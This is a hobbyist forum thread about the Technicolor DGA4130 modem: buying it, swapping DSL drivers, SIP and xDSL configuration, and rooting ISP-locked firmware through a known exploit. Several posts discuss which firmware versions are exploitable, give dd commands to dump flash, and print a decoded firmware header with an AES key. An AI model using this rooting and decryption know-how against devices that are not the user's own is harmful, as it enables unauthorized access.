http://www.ebay.fr/itm/MODEM-ROUTER-TIM-HUB-ADSL-ADSL2-VDSL-EVDSL-FIBRA-FINO-A-1000-MEGA-NUOVO-2017-/272877794793?hash=item3f88c8b5e9:g:AyUAAOSwwrtZ2LZN
do they deliver in UK ?

Same interface, look the pics :
https://www.amazon.it/MODEM-ROUTER-TIM-ADSL2-EVDSL/dp/B00AT8MKYC/ref=sr_1_1?ie=UTF8&qid=1507723779&sr=8-1&keywords=tim%2C+hub&tag=keyforweb-21

Ansuel confirmed it's the same as the DG4130 + SFP port !  ::)

i see 10 available on Ebay with 8€ delivery to France:
http://www.ebay.fr/itm/MODEM-ROUTER-TIM-HUB-ADSL-ADSL2-VDSL-EVDSL-FIBRA-FINO-A-1000-MEGA-NUOVO-2017-/272877794793
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on October 11, 2017, 05:07:26 PM
Is that the same model? the picture looks different?
It's €8 delivery to the UK.

What about exploitable firmware?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 11, 2017, 05:13:17 PM
Ansuel told me the hardware is the same, it's an AGTEF + SFP port.

The thing to know is what firmware version is inside, if 1.0.4  :'( first ask to the seller...

This seller on Ebay is the guy where i bought my DGA4130, very fast shipping with GLS.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 11, 2017, 05:23:44 PM
Problem is that even 1.0.0 is 17.1 so no unlock with that vulnerability
Agtef version is not equal to agthp
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 11, 2017, 05:29:49 PM
 :'( :'(
then, false alert...that was too nice.

Anyway, j0hn do you see these deliverables to UK ?
https://www.amazon.fr/Smart-Wi-Fi-modem-fibre-dga4130/dp/B0747QBS2L
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on October 11, 2017, 06:00:39 PM
Tried them all unfortunately. Even the listing with Prime delivery wouldn't deliver to my address, and I've had a few Prime items from Amazon.fr in the past.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 11, 2017, 09:53:18 PM
Shdf, does the newer dsl driver make much difference?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 11, 2017, 09:58:38 PM
@bilbokitz
Are you speaking about between firmware 1.0.3 and 1.0.4 ?

@roseway
Dslstats on profile 35b
https://imgur.com/a/YtiPT
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 11, 2017, 10:01:28 PM
you know that this kind of stats are something not so common to have...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 11, 2017, 10:17:20 PM
@shdf yes from here https://mega.nz/#F!Pd8TgAJA!t-Yj3SktM8dNqvoIwiWbmg!zUs20BzZ

I gathered it could could be installed independently by dropping it in a certain folder?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 11, 2017, 10:49:14 PM
@roseway
Dslstats on profile 35b
https://imgur.com/a/YtiPT

I would like to continue discussion of this in the DSLstats topic: http://forum.kitz.co.uk/index.php/topic,20418.msg356589.html#msg356589
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 12, 2017, 12:49:15 AM
Does bridge mode work for you¿ When I put it in bridge mode it says bridge disabled. Clicking the broadband card shows ptm0 down.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 12, 2017, 06:46:55 AM
If that question is for me, I don't have an answer. I have it working as a combined modem/router, and for the moment I don't want to change that.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 12, 2017, 07:19:59 AM
@shdf yes from here https://mega.nz/#F!Pd8TgAJA!t-Yj3SktM8dNqvoIwiWbmg!zUs20BzZ

I gathered it could could be installed independently by dropping it in a certain folder?
I noticed a better sync with the 1.0.3 driver, each time i upgrade the webui (which installs the 1.0.4 driver  :mad:) i replace the file /etc/adsl/adsl_phy.bin from firmware 1.0.3
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 12, 2017, 07:23:36 AM
Does bridge mode work for you¿ When I put it in bridge mode it says bridge disabled. Clicking the broadband card shows ptm0 down.
some people in the italian forum are using it in bridge mode, personnaly i never tried. But why use it in bridge mode ? This modem can do everything...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 12, 2017, 11:26:22 AM
@j0hn
pigr8 from the italian forum, could probably buy a few DGA4130 from here:
http://www.dck.it/accessori-tim-smart-modem-plus-ag-evo-dga4130ti-modem-fibra-300-mega.1.1.936.gp.72326.uw
and send them to you. You can get in touch with him for the delivery etc...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 13, 2017, 02:10:15 PM
some people in the italian forum are using it in bridge mode, personnaly i never tried. But why use it in bridge mode ? This modem can do everything...

I will use it as a router when we have an easy way of implementing openvpn client policy based routing and setting safe/search/time limits etc etc eg Lede.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 13, 2017, 05:08:27 PM
did you try this ?
https://wiki.openwrt.org/doc/howto/vpn.openvpn
or do you consider this as the "not easy way" ?

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 13, 2017, 05:22:45 PM
No shdf but I might try it if I get the time, should this work I think users on the Italian forum were taking about package incompatibilities?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 13, 2017, 05:55:00 PM
on the italian forum one was successfull i think, but how he did it ?! i don't know...openvpn is really not my cup of tea  :D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 15, 2017, 03:50:09 PM
@roseway
would it be possible to create a dslstats daemon version, which would run inside the modem, that way no need to have a PC running  :)
or maybe a scheduled script with cron...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 15, 2017, 04:01:24 PM
If I were 20 years younger I might have a go at that, but not now, I'm afraid.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: tiffy on October 15, 2017, 05:32:24 PM
Another option:
Use a Raspberry Pi Zero W running DSLStats, currently costs £9.60 + a Micro SD memory card.
Unit is so small could possibly fit inside the router case & pick up 5 V. power, have not tried this as yet.

Or, put Rpi Zero in case, £15.60 with case and stick (velcro) to rear of router. (the method I use)
Very low power requirement, I use an old mobile phone charger, the recommended 2 Amp PSU is only approx. a fiver but deemed overkill.
RPi Zero W has built in WiFi, no need for an ethernet direct connection which would involve buying a micro USB to RJ-45 LAN adaptor.
Comm's. to the RPi by WiFi using VNC viewer.

I have used this very cheap option for my daughter's line (MDWS cruth211) and son's line (MDWS smpay-37), has worked very well to date.
 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 15, 2017, 05:37:28 PM
as the dga have 2 usb port this is not a bad idea!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Browni on October 15, 2017, 05:45:55 PM
@roseway
would it be possible to create a dslstats daemon version, which would run inside the modem, that way no need to have a PC running  :)
or maybe a scheduled script with cron...
There is a Docker version (http://forum.kitz.co.uk/index.php/topic,19340.0.html) of DSLStats, would a router be powerful enough to run that?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: tiffy on October 15, 2017, 05:51:52 PM
as the dga have 2 usb port this is not a bad idea!

Note, as described, the only connection between RPi and router is by WiFi, no USB port required unless you are suggesting getting the 5 V. power for the RPi from a USB socket, would very likely work, 500 ma. max. should be OK, neither of the routers in my installations had USB sockets so this did not occur to me, good idea !
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 15, 2017, 06:52:10 PM
sorry i wasn't clear enough. what i wanted to say is about a daemon or a script that sends the dsl data to www.mydslwebstats.co.uk
Or capture the data into a log file that you can read with dslstats...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 15, 2017, 07:01:01 PM
Note, as described, the only connection between RPi and router is by WiFi, no USB port required unless you are suggesting getting the 5 V. power for the RPi from a USB socket, would very likely work, 500 ma. max. should be OK, neither of the routers in my installations had USB sockets so this did not occur to me, good idea !
Yes i mean usb just for the power... WiFi connection is not a problem...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: tiffy on October 17, 2017, 05:53:20 PM
Yes i mean usb just for the power... WiFi connection is not a problem...

Strangely enough, it has turned out that both the routers I used do have USB sockets, Billion 8800NL & 8800NLr2 which I obtained SH from forum members for the applications, will try to power the RPi Zero W's from USB so saving a PSU, using a simple mobile phone charge cable and making the installation even more compact, many thanks for the suggestion. 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Browni on October 17, 2017, 06:07:22 PM
sorry i wasn't clear enough. what i wanted to say is about a daemon or a script that sends the dsl data to www.mydslwebstats.co.uk
Or capture the data into a log file that you can read with dslstats...
Which is exactly what the Docker version of Dslstats does for me, I run it it headless on my QNAP NAS.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on October 19, 2017, 10:24:11 AM
I see there are 2 later GUI than 3.9 is it worth upgrading, also is dsl stats working on this modem/router.

I have an issue with my isp monitoring my line so have not changed over to the DGA4130 yet but would like to have it prepared for when they have finished.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 19, 2017, 10:25:19 AM
@roseway & @Bilbo, what xDSL driver are you using ? the one coming from the Firmware 1.0.4 (which was installed by the Webui 3.x) ?
in my tests the xdsl driver from the Firmware 1.0.3 (which is the same as 1.0.2) give me a better synch (up to 2Mbps better than the 1.0.4 version)

You can test the xdsl driver from my MEGA link, i have also added the old one from Netgear D7000 and the more recent from Asus DSL-AC88U

You just have to stop the driver: /etc/init.d/xdsl stop
overvrite the file : /etc/adsl/adsl_phy.bin
and restart the driver : /etc/init.d/xdsl start

In my case i have the best Sync with the one from Firmware TIM 1.0.3
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 19, 2017, 10:27:37 AM
I see there are 2 later GUI than 3.9 is it worth upgrading, also is dsl stats working on this modem/router.

I have an issue with my isp monitoring my line so have not changed over to the DGA4130 yet but would like to have it prepared for when they have finished.
Yes dslstats is working as long as you enable telnet.
The Gui updates are just fixing some bugs in the gui and doesn't upgrade xdsl driver anymore, plus a few things removed for non italians (it doesn't restart the CWMP agent)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 19, 2017, 11:12:14 AM
Quote
@roseway & @Bilbo, what xDSL driver are you using ?

I'm using the 1.0.4 version as installed by Webui 3.x. At the time I changed it, there was no noticeable change in the connection speed. Since that time I've had one resync, caused by a software upgrade of the DSLAM I'm connected to, and since that time my connection has been completely stable for more than 10 days at the maximum speed (79999/20000) with a downstream SNRM of just 1.9 dB.

Because this happened after a DSLAM software upgrade, I can't really compare performance with the older DSL driver, but I do rate the performance as excellent.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 19, 2017, 01:20:57 PM
you have the maximum, does it mean you are capped @80Mbps by your isp ? what's your distance to the dslam ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 19, 2017, 02:44:00 PM
80 / 20 Mbps is the maximum for VDSL2 on BT-based connections. It's not the ISP who limits it. My distance to the DSLAM is about 220 metres.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on October 19, 2017, 04:45:43 PM
@shdf

I haven't really paid much attention to which driver I am using.

I have actually noticed a 4mbps variation on the same driver when re-syncing multiple times trying to get the bridge to work within a 2 hour period on the same night.

Last night it synced at 67 down at one stage, then when trying a network config change and resyncing  10 mins later it only managed  63.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 19, 2017, 06:45:01 PM
So you should be with the 1.0.4 driver...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 20, 2017, 10:00:19 AM
It was confirmed here : http://www.hwupgrade.it/forum/showpost.php?p=45110017&postcount=253
The new TIM HUB (DGA4132) can be unlocked with the unlocker tool with the actual firmware.

Initial topic : http://www.hwupgrade.it/forum/showthread.php?t=2823001
it's a DGA4130 + SFP port  :)

Available for a good price here :
http://www.ebay.co.uk/itm/MODEM-ROUTER-TIM-HUB-ADSL-ADSL2-VDSL-EVDSL-FIBRA-FINO-A-1000-MEGA-NUOVO-2017-/272877794793?epid=12006552790&hash=item3f88c8b5e9:g:AyUAAOSwwrtZ2LZN

I took one for the company i work for.  :)

EDIT:
delivery costs went from 8€ to 18€ now... :o


someone unconfirmed this so it is not clear if yes or no it can be unlocked  >:( :-\
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on October 21, 2017, 07:08:33 AM
That's a pity. This looked like a good option, even though the SFP port has no useful function at present.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 21, 2017, 08:27:50 AM
now they say that with the firmware 1.0.2 the unlocker is working...but those who are speaking doesn't even have the modem...anyway i'll receive the modem this monday, i'll see.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 21, 2017, 11:07:28 AM
now they say that with the firmware 1.0.2 the unlocker is working...but those who are speaking doesn't even have the modem...anyway i'll receive the modem this monday, i'll see.
100% not unlockable
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: j0hn on October 21, 2017, 12:13:36 PM
100% not unlockable
Well glad I didn't bite yesterday as I was going to purchase this. I'll keep watching for a decent deal on the DGA4130.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 21, 2017, 12:47:35 PM
They are all based on the fact that version of agtef and agthp are the same... But that's not true as agthp is born with version 17.1 that is patched.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 23, 2017, 09:44:03 PM
i bought a SIP account @ OVH.fr for 1.19€/month (https://www.ovhtelecom.fr/telephonie/voip/decouverte.xml), unlimited calls in 40 countries :

Quote
Germany, Argentina, Australia, Austria, Belgium, Brazil, Canada, Chile, China, Cyprus, Colombia, Denmark, Spain, Metropolitan France, United Kingdom, Greece, Hong Kong, Hungary, Ireland, Israel, Italy, Kazakhstan, Luxembourg, Malaysia, Mexico, Norway, New Zealand, Panama, Netherlands, Poland, Portugal, Peru, Russia, Singapore, Slovakia, Switzerland, Sweden, Taiwan, Thailand, USA, Venezuela.
Maybe there is something similar in UK...

Well, I managed to set up my account in the DGA4130, and I can send / receive calls with a phone plugged into the FXS port  :)

(https://i.imgur.com/SSaQxgI.png)

(https://i.imgur.com/SQFzt9D.png)

(https://i.imgur.com/LV2zbtI.png)

(https://i.imgur.com/6ilAEVB.png)

(https://i.imgur.com/jIjE60e.png)

(https://i.imgur.com/wMLP0od.png)

i had to tweak a little the file /etc/config/mmpbxrvsipnet but not sure it was really necessary.

Code: [Select]
config mmpbxrvsipnet 'global'
option trace_level '2'
option radvision_trace_level '0'

config syslog 'syslog'
option registration '1'
option call_signalling '1'
option syslog_priority '6'
option hide_user_identity '0'

config network 'sip_net'
option user_friendly_name 'SIP network'
option cac '-1'
option transparent_soc_transmission '0'
option interface 'wan'
option local_port '5060'
option domain_name 'sip3.ovh.fr'
option primary_registrar_port '5060'
option secondary_proxy_port '0'
option transport_type 'UDP'
option reg_expire '3600'
option reg_expire_T_before '1'
option reg_back_off_timeout '60'
option reg_back_off_timeout_algorithm 'fixed'
option reg_back_off_timeout_max '900'
option reg_back_off_timeout_min '600'
option re_registration_mode 'ims'
option realm 'sip3.ovh.fr'
option realm_check '1'
option 401_407_waiting_time '0'
option dtmf_relay 'rfc2833'
option dtmf_relay_translation '0'
option timer_T1 '500'
option timer_T2 '4000'
option timer_T4 '5000'
option timer_B '32000'
option timer_D '50000'
option timer_F '32000'
option timer_J '32000'
option provisional_timer '1200'
option remote_hold_tone_enabled '0'
option sdp_direction_call_hold 'sendonly'
option sdp_direction_call_hold_answer 'recvonly'
option uri_clir_format 'standard'
option privacy_handling 'apply'
option rejection_response '486'
option no_answer_response '480'
option call_waiting_provisional_response '180'
option call_waiting_reject_response '486'
option reliable_provisional_response 'when_supported'
option forking_mode 'replace'
option ingress_media_timeout '1000'
option session_timer 'disabled'
option min_session_expires '90'
option session_expires '180'
option fail_behaviour 'stop'
option min_period_proxy_redundancy '0'
option escape_hash '1'
option escape_star '0'
option control_qos_field 'dscp'
option control_qos_value '40'
option realtime_qos_field 'dscp'
option realtime_qos_value '40'
option from_anonymous_handling 'withheld'
option sip_over_ipv6 '0'
option rtp_local_port_min '32000'
option rtp_local_port_max '39999'
option user_param_value 'phone'
option include_sip_instance '1'
option waiting_time_for_registration_on_400_or_503_response '60'
option hide_serial_number '0'
option use_domain_in_contact '1'
option use_domain_in_via '0'
option update_support '1'
option sdp_direction_attribute_media_level_only '1'
option registration_delay '5'
option enable_re_register_on_cancel_timeout '1'
option rport_in_via '1'
option optimized_authentication '1'
option repeat_ringing_interval '0'
option re_register_on_403 '0'
option check_ttl_for_dns_record '1'
option dns_query_timeout '5000'
option sip_message_max_size '4096'
option conference_release_call_after_transfer '0'
option disconnect_on_bye_response '1'
option cancel_invite_timer '64000'
option early_media_detection '0'
option user_agent 'Technicolor / VBNT-K / AGTEF_1.0.3 / AGTEF_1.0.3'
option primary_registrar 'sip3.ovh.fr'
option primary_proxy_port '5060'
option primary_proxy 'sip3.ovh.fr'

config profile 'sip_profile_0'
option network 'sip_net'
option password 'xxxxxxxx'
option uri '0033xxxxxxxxx'
option enabled '1'
option user_name '0033xxxxxxxxx'
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: dazzsser on October 25, 2017, 01:39:02 AM
Yes it's the same and if they have firm 16.3 and above they can be exploited...
And I would like to have a dump of that firmware
If someone could provide it...

Hi ansuel I have the TG799VAC as it is the provided modem by the ISP they also have a TG800 variant that is almost identical. I have followed steps to unlock both models and get SSH access using the crc.id.au guide posted and I am willing to perform a firmware dump if you can guide me on how to do that! And another information that you need
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on October 25, 2017, 07:57:05 AM
Hello,
it was confirmed by several users that the new TG800vac (Broadcom 63138 too, see spec here (http://forums.whirlpool.net.au/archive/2559828)) can be rooted.
2 users here : http://forums.whirlpool.net.au/forum-replies.cfm?t=2650998&p=3&#r53
1 user here : https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-unlocking-features/#comment-311794
At the moment there is no 17.x firmware version fixing the exploit on that modem/router.

A few are available on ebay.co.au: https://www.ebay.com.au/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR12.TRC2.A0.H0.Xtg800.TRS0&_nkw=tg800&_sacat=0
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on October 25, 2017, 07:31:20 PM
Hi ansuel I have the TG799VAC as it is the provided modem by the ISP they also have a TG800 variant that is almost identical. I have followed steps to unlock both models and get SSH access using the crc.id.au guide posted and I am willing to perform a firmware dump if you can guide me on how to do that! And another information that you need
sure i can give you the command...

pay attention to remove the file generated in tmp as it can crash the modem ...

dd if=/dev/mtd3 of=/tmp/bank_1
save the file in /tmp to desktop for example and remove it from /tmp
same things for this
dd if=/dev/mtd4 of=/tmp/bank_2

this will dump the 2 bank table... no sesitive information are in here....


my modified gui should work also for that :)

if something goes wrong i can fix it

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: dazzsser on October 26, 2017, 06:05:11 AM
Hi ansuel i have sent you a PM.

Its funny because the DGA4130 looks very similar to the TG799VAC
Front:
(https://i.ebayimg.com/images/g/yWoAAOSw9bFZyeWn/s-l1600.jpg)
Back:
(https://i.ebayimg.com/images/g/t~kAAOSwgHJZyeWg/s-l1600.jpg)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: dazzsser on October 26, 2017, 06:08:20 AM
Also does anyone know how to set WPA-enterprise on these routers i.e. what do the config files look like for wpa enterprise /etc/config/wireless
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: adslmax on November 10, 2017, 04:22:50 PM
All you need now is a G.FAST line and use that Modem to make DSLstats G.Fast compatible  :idea:

I am consider of buying this. Thanks.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: adslmax on November 10, 2017, 04:33:47 PM
Hello,
does anyone noticed this Modem/router based on Broadcom BCM63138 ?

(https://i.imgur.com/OAteyWR.jpg)

Complete review in italian here : http://www.hwupgrade.it/forum/showthread.php?t=2817859
Datasheet here : https://www.callflow.co.uk/wp-content/uploads/2017/04/ultrfast-technicolor-router-spec-sheet.pdf

Support:
This modem/router comes from the italian ISP TIM, but can be unlocked to the original Technicolor Firmware.
How to easily Unlock the firmware for other ISP : https://www.ilpuntotecnicoeadsl.com/sblocco-smart-modem-evolution-dga4130-agtef/
This will enable FULL ROOT access to the device, SSH + Telnet !

The device can be found at a very low price and brand new on Ebay (40€ / £35 shipped) ! :
https://www.ebay.it/sch/i.html?_from=R40&_trksid=p2380057.m570.l1313.TR0.TRC0.H0.XDGA4130.TRS0&_nkw=DGA4130&_sacat=0




EDIT 10/10/2017:
How to root the modem, step by step:
http://forum.kitz.co.uk/index.php/topic,20343.msg356237.html#msg356237

How to install Transmission:
http://forum.kitz.co.uk/index.php/topic,20343.msg356335.html#msg356335

How to install Aria2:
http://forum.kitz.co.uk/index.php/topic,20343.msg356456.html#msg356456

Awesome very cheap! With G.Fast and new broadcom chip 63138. Thanks for sharing shdf
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on November 13, 2017, 10:58:43 AM
JTAG anyone ? full mem dumps ?

vant-y  not working but dant-o is fine

https://github.com/pedro-n-rocha/bli223dcryptex

its the new version firmware based on LEDE ?

thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on November 13, 2017, 11:15:05 AM
JTAG anyone ? full mem dumps ?

vant-y  not working but dant-o is fine

https://github.com/pedro-n-rocha/bli223dcryptex

its the new version firmware based on LEDE ?

thanks
Every modem have a code to decript firmware...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on November 13, 2017, 11:21:02 AM
Code: [Select]
********* fw fixed header decoding *********************************************************************

 [ptr :          ] filname           : dant-o_CRF685-16.1.7565-580-RC.rbi
 [ptr : 000      ] imagetype         : BLI223WE0
 [ptr : 006      ] FIACODE           : WE
 [ptr : 020      ] branding          : TE
 [ptr : 028      ] flag??            : 00000000
 [ptr : 032      ] version           :
 [ptr : 040      ] hdrlength         : 0x0000016a
 [ptr : 044      ] datalength        : 0x00fa521f
 [ptr : 048      ] crc32             : dbde8a01
 [ptr :          ] computedhash      : 7ccf3a95a0b9f5186ddb26bf44ef6aa69d8a845d
 [ptr :          ] decryptedhash     : 7ccf3a95a0b9f5186ddb26bf44ef6aa69d8a845d
 [ptr :          ] integritycheck    : True
 [ptr :          ] aeskey            : 3cf1488f7215e7f5364f4180fd4ba5985a6ed484a1d1e9221e9afe806f113919
 [prt : 0xfa5389 ] footer            :
 [ptr : 363      ] imagetype         : MUTE
 [ptr : 310      ] board             : DANT-O
 [ptr : 318      ] model1            : Technicolor TG797n v3
 [ptr : 341      ] model2            : TG797n v3
 [ptr : 352      ] flashaddr         : c1600000
 [ptr : 358      ]  undefined : 20cbbab4

********************************************************************************************************


Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on November 13, 2017, 11:23:09 AM
working on vant variant , if you have the tools from the router please provide bli... cwmp etc

thanks

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on November 13, 2017, 11:24:20 AM
working on vant variant , if you have the tools from the router please provide bli... cwmp etc

thanks
What do you mean working on vant variant?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on November 13, 2017, 11:28:40 AM
have you checked the repo : https://github.com/pedro-n-rocha/bli223dcryptex/blob/master/bli223dcryptex.py ???

do you have a complete flash dump of this router ? or some tools that were mentioned somewhere bli cwmp ?? if you have please provide , it seems the rsa key has changed and some offstets on rbi header and i can check to adapt the extractors

I am working on a rbi extractor and parser , already workin for other variants as dan-o 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on November 13, 2017, 11:32:02 AM
We already created a tool to decript rbi file... Ilpuntotecnicoeadsl repo.... We need to create a repository for the osck code that depend on the modem of the router
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on November 13, 2017, 11:33:58 AM
ok

can you share ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on November 13, 2017, 11:35:18 AM
ok

can you share ?
Go to ilpuntotecnicoeadsl and check the file in the repository under my directory Ansuel
Rbi decriptor
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on November 13, 2017, 12:20:14 PM
uau

alcatel_Decrypt-Firmware_v1.9 (Fixed by Ftp21).tar.gz [calculate md5sum]

did not knew this was already out ...

thank you  :cool:
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on November 13, 2017, 12:21:00 PM
uau

alcatel_Decrypt-Firmware_v1.9 (Fixed by Ftp21).tar.gz [calculate md5sum]

did not knew this was already out ...

thank you  :cool:
Nope not that... The other one
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on November 13, 2017, 12:22:27 PM
ye I know , i will check the "new tool" what has changed besides RSA header ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on November 13, 2017, 03:58:35 PM
the key was pulled from the flash dump ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ansuel on November 13, 2017, 04:34:07 PM
the key was pulled from the flash dump ?
i will upload a script to extract that key
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: surrealiz3 on November 13, 2017, 06:21:49 PM
nice  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on November 23, 2017, 10:41:46 AM
Please may I ask if I should see profile 35b in the xdsl config screen as it only shows up to 17a, I am on firmware 1.03 and Gui 3.25.

My ISP provide modem had ipv6 automatically configured, the lan config shows ipv6 unassigned how do I set it up please.

Thanks
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on November 23, 2017, 02:21:02 PM
Hello,
this is the original file /etc/config/xdsl in which you can see : list profile 'BrcmPriv1' <-- that is Profile 35b

Code: [Select]
config xdsl 'dsl0'
                option enabled '1'
                option eoc_vendor_id 'BETMMB'
                option handshake_switch_timeout '0'
                list multimode 'gdmt'
                list multimode 'glite'
                list multimode 't1413'
                list multimode 'adsl2'
                list multimode 'adsl2annexl'
                list multimode 'adsl2annexm'
                list multimode 'adsl2plus'
                list multimode 'vdsl2'
                list profile '8a'
                list profile '8b'
                list profile '8c'
                list profile '8d'
                list profile '12a'
                list profile '12b'
                list profile '17a'
list profile 'BrcmPriv1'
                option demod_cap_value '0x90447a'
                option demod_cap_mask '0x90447a'
                option demod_cap2_value '0x390000'
                option demod_cap2_mask '0x390000'
                option aux_features_value '0x19060003'
                option aux_features_mask '0x19060003'
                option vdsl_cfg_flags_value '0x1200600'
                option vdsl_cfg_flags_mask '0x1200000'
                option xdsl_cfg1_value '0x0'
                option xdsl_cfg1_mask '0x0'
                option xdsl_cfg2_value '0x0'
                option xdsl_cfg2_mask '0x0'
                option xdsl_cfg3_value '0x0'
                option xdsl_cfg3_mask '0x0'

About IPV6, they say in the FAQ here : https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77325.0.html
Quote
Is IPv6 working properly?
No, the feature is already bugged on the original firmware, so it can not be used at this time.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on November 23, 2017, 02:49:39 PM
Thanks for taking the trouble to explain my ISP is rolling out vectoring so I am happy the modem is ready and waiting. IPV6 is not a deal breaker for me just  something I spotted while setting up today.

      Thanks again.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on November 23, 2017, 03:04:51 PM
btw you should update your GUI to 3.27.x as previous version have some bugs that randomly send you back to the login page... ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: lofgents on November 23, 2017, 09:50:53 PM
Thanks for the info do you have a link to the download of gui 3.27 it does not appear to be on your mega page.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: GigabitEthernet on November 24, 2017, 12:46:42 AM
So after many years, Technicolor finally put a normal BusyBox into their router, amazing.

How are sync speed and errors?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: roseway on November 24, 2017, 07:13:46 AM
That's not quite the case. Some excellent work to unlock the device has enabled root access to the Busybox shell. Technicolor didn't support this, and don't supply an unlocked version.

